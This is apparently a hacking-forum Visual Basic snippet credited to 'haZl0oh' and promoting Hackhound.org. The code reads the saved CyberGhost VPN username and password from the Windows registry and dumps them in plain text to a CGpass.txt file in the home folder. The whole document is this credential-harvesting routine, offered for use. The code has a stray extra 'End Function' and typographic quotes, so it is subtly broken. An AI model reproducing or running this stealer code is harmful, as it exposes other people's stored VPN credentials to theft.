‘———————————————————————
‘VISIT Hackhound.org,H7labs.wordpress.com
‘———————————————————————
Public Sub readCG()
Dim username As String
Dim password As String
username = RegRead(”HKCU\Software\S.A.D\CyberGhost VPN\username”)
password = RegRead(”HKCU\Software\S.A.D\CyberGhost VPN\cpassword”)
If username = “” Then
End
Else
Open Environ(”homedir”) & “\” & “CGpass.txt” For Output As #1
Print #1, “#####################”
Print #1, “#### CG – Reader ####”
Print #1, “#### haZl0oh ####”
Print #1, “#####################”
Print #1, “”
Print #1, “Username: ” & username
Print #1, “Password: ” & password
Print #1, “INSERT THE USERNAME & PWD KEY Via REGADIT HERE:”
Print #1, “”
Print #1, “HKEY_CURRENT_USER\Software\S.A.D\CyberGhost VPN\Username”
Print #1, “HKEY_CURRENT_USER\Software\S.A.D\CyberGhost VPN\Cpassword”
Close #1
End If
End Sub
Public Function RegRead(Path As String) As String
Dim ws As Object

On Error GoTo ErrHandler
Set ws = CreateObject(”WScript.Shell”)
RegRead = ws.RegRead(Path)
Exit Function

ErrHandler:
RegRead = “”
End Function

End Function